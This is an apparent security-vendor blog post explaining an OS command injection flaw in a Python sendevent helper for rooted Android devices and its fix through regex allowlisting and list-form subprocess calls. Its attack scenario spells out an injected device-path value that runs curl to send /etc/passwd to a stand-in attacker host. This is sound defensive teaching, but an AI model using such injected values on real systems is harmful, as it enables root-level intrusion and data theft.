How Command Injection Happens in Python subprocess Calls and How to Fix It
Introduction
The src/sidecar/input_backends/experimental/backend_android.py file handles input event forwarding for rooted Android devices — a specialized but real attack surface. A flaw in the _sendevent function at line 66 created a critical OS command injection vulnerability: user-controlled data flowed directly into a shell command string, executed without any validation.
Here's the vulnerable code that triggered the alert:
def _sendevent(dev, ev_type, code, value):
"""Write a single input event via 'su -c sendevent' on rooted Android."""
cmd = f"su -c 'sendevent {dev} {ev_type} {code} {value}'"
subprocess.run(cmd, shell=True, capture_output=True)
Two problems compound each other here: the dev parameter is interpolated directly into a shell command string using an f-string, and the entire string is handed to subprocess.run() with shell=True. This means the operating system's shell — not Python — is responsible for parsing the command, and any shell metacharacters in dev are interpreted as instructions.
For developers writing similar device-control or automation backends, this pattern is surprisingly easy to introduce and surprisingly dangerous to leave in place.
The Vulnerability Explained
What Goes Wrong
When shell=True is passed to subprocess.run(), Python hands the command string to /bin/sh -c. This means the shell parses the entire string, including any special characters like:
;— command separator&&/||— conditional execution|— pipe$()or`— command substitution>/>>— output redirection
The dev parameter in _sendevent represents an Android input device path (e.g., /dev/input/event3). This value is set via android-config packets received at runtime — meaning it is externally controllable.
The Exact Vulnerable Line
cmd = f"su -c 'sendevent {dev} {ev_type} {code} {value}'"
subprocess.run(cmd, shell=True, capture_output=True)
If dev is /dev/input/event3, this produces the intended:
su -c 'sendevent /dev/input/event3 1 330 1'
But if dev is set to a malicious value, the shell interprets the injected commands.
Concrete Attack Scenario
An attacker sends a JSON packet of type android-config with eventDev set to:
/dev/input/event3; curl http://attacker.com/exfil?data=$(cat /etc/passwd)
The resulting shell command becomes:
su -c 'sendevent /dev/input/event3; curl http://attacker.com/exfil?data=$(cat /etc/passwd) 1 330 1'
The shell executes both commands. On a rooted Android device — which is the explicit target environment for this backend — su grants root privileges, making this a root-level remote code execution scenario. The attacker could exfiltrate files, install backdoors, or destroy data.
Real-World Impact
This backend is described as "experimental" but resides in the production codebase. The PR description confirms: "This file is in the production codebase, not test-only code." The web service context means this is directly reachable by remote attackers who can send crafted packets — no local access required.
The Fix
The fix makes two targeted, complementary changes:
1. Whitelist Validation with a Strict Regex
A compiled regex is added at module level:
import re
_DEV_RE = re.compile(r"^/dev/input/event\d+$")
This pattern matches only valid Android input device paths like /dev/input/event0, /dev/input/event3, /dev/input/event12. It anchors both ends of the string (^ and $) and allows only digits after event — no spaces, semicolons, pipes, or any other shell metacharacters can slip through.
The function now rejects anything that doesn't match:
def _sendevent(dev, ev_type, code, value):
if not _DEV_RE.match(dev):
return
subprocess.run(["su", "-c", f"sendevent {dev} {ev_type} {code} {value}"], capture_output=True)
2. Removing shell=True
The second change is equally important. The command is now passed as a list to subprocess.run(), and shell=True is removed entirely:
# Before — dangerous
subprocess.run(cmd, shell=True, capture_output=True)
# After — safe
subprocess.run(["su", "-c", f"sendevent {dev} {ev_type} {code} {value}"], capture_output=True)
When a list is passed without shell=True, Python uses execvp() directly. The OS does not invoke a shell, so there is no shell to interpret metacharacters. Even if the regex were somehow bypassed, the absence of shell=True provides a second layer of defense.
Before vs. After
| Aspect | Before | After |
|---|---|---|
| Input validation | None | Regex whitelist ^/dev/input/event\d+$ |
| Shell invocation | shell=True |
No shell (shell=False default) |
| Command construction | f-string into string | List with validated dev |
| Injection risk | Critical | Eliminated |
Prevention & Best Practices
Never Use shell=True with Untrusted Input
The Python documentation itself warns against this. If you need to run a subprocess with external arguments, always pass a list:
# Dangerous
subprocess.run(f"tool {user_input}", shell=True)
# Safe
subprocess.run(["tool", user_input]) # shell never sees user_input
Validate Inputs at the Boundary
The _DEV_RE regex is a textbook example of allowlist validation — defining exactly what is acceptable rather than trying to block known-bad patterns. For device paths, file names, or any constrained string format, a tight regex anchored at both ends is highly effective.
# Good pattern: anchor both ends, be specific about allowed characters
_DEV_RE = re.compile(r"^/dev/input/event\d+$")
Use shlex.quote() as a Last Resort
If you genuinely need shell=True (rare), use shlex.quote() to escape individual arguments:
import shlex
cmd = f"tool {shlex.quote(user_input)}"
subprocess.run(cmd, shell=True)
This is a weaker defense than avoiding shell=True entirely — prefer the list form.
Lint with Bandit or Semgrep
Both tools have rules targeting this exact pattern:
- Bandit:
B602flagssubprocesscalls withshell=True - Semgrep: The
python.lang.security.audit.subprocess-shell-truerule catches this pattern
Integrate these into your CI pipeline to catch regressions early.
Reference Standards
- OWASP: Command Injection — detailed attack patterns and mitigations
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- Python docs: subprocess security considerations
Key Takeaways
shell=Truewith any user-controlled string is almost always wrong. In_sendevent(), a single parameter —dev— was enough to enable root-level code execution on the target device.- The
devparameter inbackend_android.pyhad a well-defined valid format (/dev/input/event\d+), making a regex whitelist both simple and highly effective. - Two independent defenses are better than one. The fix combines input validation (regex) and safe API usage (list-based subprocess) — if one were somehow bypassed, the other still protects.
- "Experimental" does not mean "low risk." This file was in the production codebase and reachable by remote attackers despite its experimental label.
- Compiled regexes at module level (like
_DEV_RE = re.compile(...)) are a clean, performant pattern for validating constrained string inputs in Python.
How Orbis AppSec Detected This
- Source: The
devparameter in_sendevent(), populated fromandroid-configpackets received over the network — fully attacker-controlled. - Sink:
subprocess.run(cmd, shell=True, capture_output=True)atbackend_android.py:66, where the tainteddevvalue was embedded in the shell command stringcmd. - Missing control: No validation or sanitization of
devbefore interpolation; no restriction on shell metacharacters;shell=Trueenabled full shell interpretation of the command string. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: Added
_DEV_RE = re.compile(r"^/dev/input/event\d+$")to validatedevbefore use, and replaced the string-basedshell=Truecall with a list-basedsubprocess.run()invocation.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The _sendevent vulnerability in backend_android.py is a textbook example of how a small, seemingly convenient shortcut — using an f-string and shell=True to build a shell command — can create a critical security hole. On a rooted Android device, this translated directly to potential root-level arbitrary command execution triggered by a single malicious network packet.
The fix is concise and surgical: a six-character regex pattern and the removal of shell=True. These two changes eliminate the injection surface entirely while preserving all valid functionality. The lesson generalizes broadly: whenever you're constructing OS commands in Python, reach for the list form of subprocess.run() first, validate any external input against a strict allowlist, and treat shell=True as a red flag requiring explicit justification.
Security in device control backends — especially those running with elevated privileges — demands the same rigor as any public-facing web endpoint.